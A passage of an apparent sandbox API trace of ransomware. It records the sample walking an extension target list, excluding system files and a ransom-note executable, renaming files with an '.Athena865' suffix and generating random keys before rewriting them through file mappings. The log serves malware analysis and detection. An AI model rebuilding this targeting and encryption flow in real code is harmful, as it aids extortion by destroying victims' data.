lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0063.831] lstrlenW (lpString="ask") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0063.831] lstrlenW (lpString="btr") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0063.831] lstrlenW (lpString="cat") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0063.831] lstrlenW (lpString="cdb") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0063.831] lstrlenW (lpString="ckp") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0063.831] lstrlenW (lpString="cma") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0063.831] lstrlenW (lpString="cpd") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0063.832] lstrlenW (lpString="dacpac") returned 6 [0063.832] lstrcmpiW (lpString1="WW.cab", lpString2="dacpac") returned 1 [0063.832] lstrlenW (lpString="dad") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0063.832] lstrlenW (lpString="dadiagrams") returned 10 [0063.832] lstrcmpiW (lpString1="siorWW.cab", lpString2="dadiagrams") returned 1 [0063.832] lstrlenW (lpString="daschema") returned 8 [0063.832] lstrcmpiW (lpString1="orWW.cab", lpString2="daschema") returned 1 [0063.832] lstrlenW (lpString="db-journal") returned 10 [0063.832] lstrcmpiW (lpString1="siorWW.cab", lpString2="db-journal") returned 1 [0063.832] lstrlenW (lpString="db-shm") returned 6 [0063.832] lstrcmpiW (lpString1="WW.cab", lpString2="db-shm") returned 1 [0063.832] lstrlenW (lpString="db-wal") returned 6 [0063.832] lstrcmpiW (lpString1="WW.cab", lpString2="db-wal") returned 1 [0063.832] lstrlenW (lpString="dbc") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0063.832] lstrlenW (lpString="dbs") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0063.832] lstrlenW (lpString="dbt") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0063.832] lstrlenW (lpString="dbv") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0063.832] lstrlenW (lpString="dbx") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0063.832] lstrlenW (lpString="dcb") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0063.832] lstrlenW (lpString="dct") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0063.832] lstrlenW (lpString="dcx") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0063.832] lstrlenW (lpString="ddl") returned 3 [0063.832] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0063.832] lstrlenW (lpString="dlis") returned 4 [0063.833] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0063.833] lstrlenW (lpString="dp1") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0063.833] lstrlenW (lpString="dqy") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0063.833] lstrlenW (lpString="dsk") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0063.833] lstrlenW (lpString="dsn") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0063.833] lstrlenW (lpString="dtsx") returned 4 [0063.833] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0063.833] lstrlenW (lpString="dxl") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0063.833] lstrlenW (lpString="eco") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0063.833] lstrlenW (lpString="ecx") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0063.833] lstrlenW (lpString="edb") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0063.833] lstrlenW (lpString="epim") returned 4 [0063.833] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0063.833] lstrlenW (lpString="fcd") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0063.833] lstrlenW (lpString="fdb") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0063.833] lstrlenW (lpString="fic") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0063.833] lstrlenW (lpString="flexolibrary") returned 12 [0063.833] lstrlenW (lpString="fm5") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0063.833] lstrlenW (lpString="fmp") returned 3 [0063.833] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0063.833] lstrlenW (lpString="fmp12") returned 5 [0063.833] lstrcmpiW (lpString1="W.cab", lpString2="fmp12") returned 1 [0063.834] lstrlenW (lpString="fmpsl") returned 5 [0063.834] lstrcmpiW (lpString1="W.cab", lpString2="fmpsl") returned 1 [0063.834] lstrlenW (lpString="fol") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0063.834] lstrlenW (lpString="fp3") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0063.834] lstrlenW (lpString="fp4") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0063.834] lstrlenW (lpString="fp5") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0063.834] lstrlenW (lpString="fp7") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0063.834] lstrlenW (lpString="fpt") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0063.834] lstrlenW (lpString="frm") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0063.834] lstrlenW (lpString="gdb") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0063.834] lstrlenW (lpString="gdb") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0063.834] lstrlenW (lpString="grdb") returned 4 [0063.834] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0063.834] lstrlenW (lpString="gwi") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0063.834] lstrlenW (lpString="hdb") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0063.834] lstrlenW (lpString="his") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0063.834] lstrlenW (lpString="ib") returned 2 [0063.834] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0063.834] lstrlenW (lpString="idb") returned 3 [0063.834] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0063.835] lstrlenW (lpString="ihx") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0063.835] lstrlenW (lpString="itdb") returned 4 [0063.835] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0063.835] lstrlenW (lpString="itw") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0063.835] lstrlenW (lpString="jet") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0063.835] lstrlenW (lpString="jtx") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0063.835] lstrlenW (lpString="kdb") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0063.835] lstrlenW (lpString="kexi") returned 4 [0063.835] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0063.835] lstrlenW (lpString="kexic") returned 5 [0063.835] lstrcmpiW (lpString1="W.cab", lpString2="kexic") returned 1 [0063.835] lstrlenW (lpString="kexis") returned 5 [0063.835] lstrcmpiW (lpString1="W.cab", lpString2="kexis") returned 1 [0063.835] lstrlenW (lpString="lgc") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0063.835] lstrlenW (lpString="lwx") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0063.835] lstrlenW (lpString="maf") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0063.835] lstrlenW (lpString="maq") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0063.835] lstrlenW (lpString="mar") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0063.835] lstrlenW (lpString="marshal") returned 7 [0063.835] lstrcmpiW (lpString1="rWW.cab", lpString2="marshal") returned 1 [0063.835] lstrlenW (lpString="mas") returned 3 [0063.835] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0063.835] lstrlenW (lpString="mav") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0063.836] lstrlenW (lpString="maw") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0063.836] lstrlenW (lpString="mdbhtml") returned 7 [0063.836] lstrcmpiW (lpString1="rWW.cab", lpString2="mdbhtml") returned 1 [0063.836] lstrlenW (lpString="mdn") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0063.836] lstrlenW (lpString="mdt") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0063.836] lstrlenW (lpString="mfd") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0063.836] lstrlenW (lpString="mpd") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0063.836] lstrlenW (lpString="mrg") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0063.836] lstrlenW (lpString="mud") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0063.836] lstrlenW (lpString="mwb") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0063.836] lstrlenW (lpString="myd") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0063.836] lstrlenW (lpString="ndf") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0063.836] lstrlenW (lpString="nnt") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0063.836] lstrlenW (lpString="nrmlib") returned 6 [0063.836] lstrcmpiW (lpString1="WW.cab", lpString2="nrmlib") returned 1 [0063.836] lstrlenW (lpString="ns2") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0063.836] lstrlenW (lpString="ns3") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0063.836] lstrlenW (lpString="ns4") returned 3 [0063.836] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0063.837] lstrlenW (lpString="nsf") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0063.837] lstrlenW (lpString="nv") returned 2 [0063.837] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0063.837] lstrlenW (lpString="nv2") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0063.837] lstrlenW (lpString="nwdb") returned 4 [0063.837] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0063.837] lstrlenW (lpString="nyf") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0063.837] lstrlenW (lpString="odb") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0063.837] lstrlenW (lpString="odb") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0063.837] lstrlenW (lpString="oqy") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0063.837] lstrlenW (lpString="ora") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0063.837] lstrlenW (lpString="orx") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0063.837] lstrlenW (lpString="owc") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0063.837] lstrlenW (lpString="p96") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0063.837] lstrlenW (lpString="p97") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0063.837] lstrlenW (lpString="pan") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0063.837] lstrlenW (lpString="pdb") returned 3 [0063.837] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0063.838] lstrlenW (lpString="pdm") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0063.838] lstrlenW (lpString="pnz") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0063.838] lstrlenW (lpString="qry") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0063.838] lstrlenW (lpString="qvd") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0063.838] lstrlenW (lpString="rbf") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0063.838] lstrlenW (lpString="rctd") returned 4 [0063.838] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0063.838] lstrlenW (lpString="rod") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0063.838] lstrlenW (lpString="rodx") returned 4 [0063.838] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0063.838] lstrlenW (lpString="rpd") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0063.838] lstrlenW (lpString="rsd") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0063.838] lstrlenW (lpString="sas7bdat") returned 8 [0063.838] lstrcmpiW (lpString1="orWW.cab", lpString2="sas7bdat") returned -1 [0063.838] lstrlenW (lpString="sbf") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0063.838] lstrlenW (lpString="scx") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0063.838] lstrlenW (lpString="sdb") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0063.838] lstrlenW (lpString="sdc") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0063.838] lstrlenW (lpString="sdf") returned 3 [0063.838] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0063.839] lstrlenW (lpString="sis") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0063.839] lstrlenW (lpString="spq") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0063.839] lstrlenW (lpString="te") returned 2 [0063.839] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0063.839] lstrlenW (lpString="teacher") returned 7 [0063.839] lstrcmpiW (lpString1="rWW.cab", lpString2="teacher") returned -1 [0063.839] lstrlenW (lpString="tmd") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0063.839] lstrlenW (lpString="tps") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0063.839] lstrlenW (lpString="trc") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0063.839] lstrlenW (lpString="trc") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0063.839] lstrlenW (lpString="trm") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0063.839] lstrlenW (lpString="udb") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0063.839] lstrlenW (lpString="udl") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0063.839] lstrlenW (lpString="usr") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0063.839] lstrlenW (lpString="v12") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0063.839] lstrlenW (lpString="vis") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0063.839] lstrlenW (lpString="vpd") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0063.839] lstrlenW (lpString="vvv") returned 3 [0063.839] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0063.840] lstrlenW (lpString="wdb") returned 3 [0063.840] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0063.840] lstrlenW (lpString="wmdb") returned 4 [0063.840] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0063.840] lstrlenW (lpString="wrk") returned 3 [0063.840] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0063.840] lstrlenW (lpString="xdb") returned 3 [0063.840] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0063.840] lstrlenW (lpString="xld") returned 3 [0063.840] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0063.840] lstrlenW (lpString="xmlff") returned 5 [0063.840] lstrcmpiW (lpString1="W.cab", lpString2="xmlff") returned -1 [0063.840] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.Athena865") returned 85 [0063.840] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.athena865"), dwFlags=0x1) returned 1 [0063.841] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.841] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=195011319) returned 1 [0063.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.841] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.842] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0063.842] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.842] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9fa600, lpName=0x0) returned 0x17c [0063.843] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xb800000, dwNumberOfBytesToMap=0x1fa600) returned 0x3000000 [0063.964] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3200000 [0064.033] UnmapViewOfFile (lpBaseAddress=0x3200000) returned 1 [0064.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0064.051] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.051] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0064.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0064.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0064.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0064.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0064.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0064.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0064.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.052] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0064.069] CloseHandle (hObject=0x17c) returned 1 [0064.069] CloseHandle (hObject=0x154) returned 1 [0064.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0064.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0064.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.078] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="..") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="windows") returned -1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="bootmgr") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="temp") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="pagefile.sys") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="boot") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="ids.txt") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="ntuser.dat") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="perflogs") returned 1 [0064.078] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="MSBuild") returned 1 [0064.078] lstrlenW (lpString="VisiorWW.msi") returned 12 [0064.079] lstrcpyW (in: lpString1=0x241e8c6, lpString2="VisiorWW.msi" | out: lpString1="VisiorWW.msi") returned="VisiorWW.msi" [0064.079] lstrlenW (lpString="VisiorWW.msi") returned 12 [0064.079] lstrlenW (lpString="Athena865") returned 9 [0064.079] lstrcmpiW (lpString1="iorWW.msi", lpString2="Athena865") returned 1 [0064.079] lstrlenW (lpString=".dll") returned 4 [0064.079] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".dll") returned 1 [0064.079] lstrlenW (lpString=".lnk") returned 4 [0064.079] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".lnk") returned 1 [0064.079] lstrlenW (lpString=".ini") returned 4 [0064.079] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".ini") returned 1 [0064.079] lstrlenW (lpString=".sys") returned 4 [0064.079] lstrcmpiW (lpString1="VisiorWW.msi", lpString2=".sys") returned 1 [0064.079] lstrlenW (lpString="VisiorWW.msi") returned 12 [0064.079] lstrlenW (lpString="bak") returned 3 [0064.079] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0064.079] lstrlenW (lpString="ba_") returned 3 [0064.079] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0064.079] lstrlenW (lpString="dbb") returned 3 [0064.079] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0064.079] lstrlenW (lpString="vmdk") returned 4 [0064.079] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0064.079] lstrlenW (lpString="rar") returned 3 [0064.079] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0064.079] lstrlenW (lpString="zip") returned 3 [0064.079] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0064.079] lstrlenW (lpString="tgz") returned 3 [0064.079] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0064.079] lstrlenW (lpString="vbox") returned 4 [0064.079] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0064.079] lstrlenW (lpString="vdi") returned 3 [0064.079] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0064.079] lstrlenW (lpString="vhd") returned 3 [0064.079] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0064.080] lstrlenW (lpString="vhdx") returned 4 [0064.080] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0064.080] lstrlenW (lpString="avhd") returned 4 [0064.080] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0064.080] lstrlenW (lpString="db") returned 2 [0064.080] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0064.080] lstrlenW (lpString="db2") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0064.080] lstrlenW (lpString="db3") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0064.080] lstrlenW (lpString="dbf") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0064.080] lstrlenW (lpString="mdf") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0064.080] lstrlenW (lpString="mdb") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0064.080] lstrlenW (lpString="sql") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0064.080] lstrlenW (lpString="sqlite") returned 6 [0064.080] lstrcmpiW (lpString1="WW.msi", lpString2="sqlite") returned 1 [0064.080] lstrlenW (lpString="sqlite3") returned 7 [0064.080] lstrcmpiW (lpString1="rWW.msi", lpString2="sqlite3") returned -1 [0064.080] lstrlenW (lpString="sqlitedb") returned 8 [0064.080] lstrcmpiW (lpString1="orWW.msi", lpString2="sqlitedb") returned -1 [0064.080] lstrlenW (lpString="xml") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0064.080] lstrlenW (lpString="$er") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0064.080] lstrlenW (lpString="4dd") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0064.080] lstrlenW (lpString="4dl") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0064.080] lstrlenW (lpString="^^^") returned 3 [0064.080] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0064.081] lstrlenW (lpString="abs") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0064.081] lstrlenW (lpString="abx") returned 3 [0064.081] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0064.081] lstrlenW (lpString="accdb") returned 5 [0064.081] lstrcmpiW (lpString1="W.msi", lpString2="accdb") returned 1 [0064.081] lstrlenW (lpString="accdc") returned 5 [0064.081] lstrcmpiW (lpString1="W.msi", lpString2="accdc") returned 1 [0064.081] lstrlenW (lpString="accde") returned 5 [0064.081] lstrcmpiW (lpString1="W.msi", lpString2="accde") returned 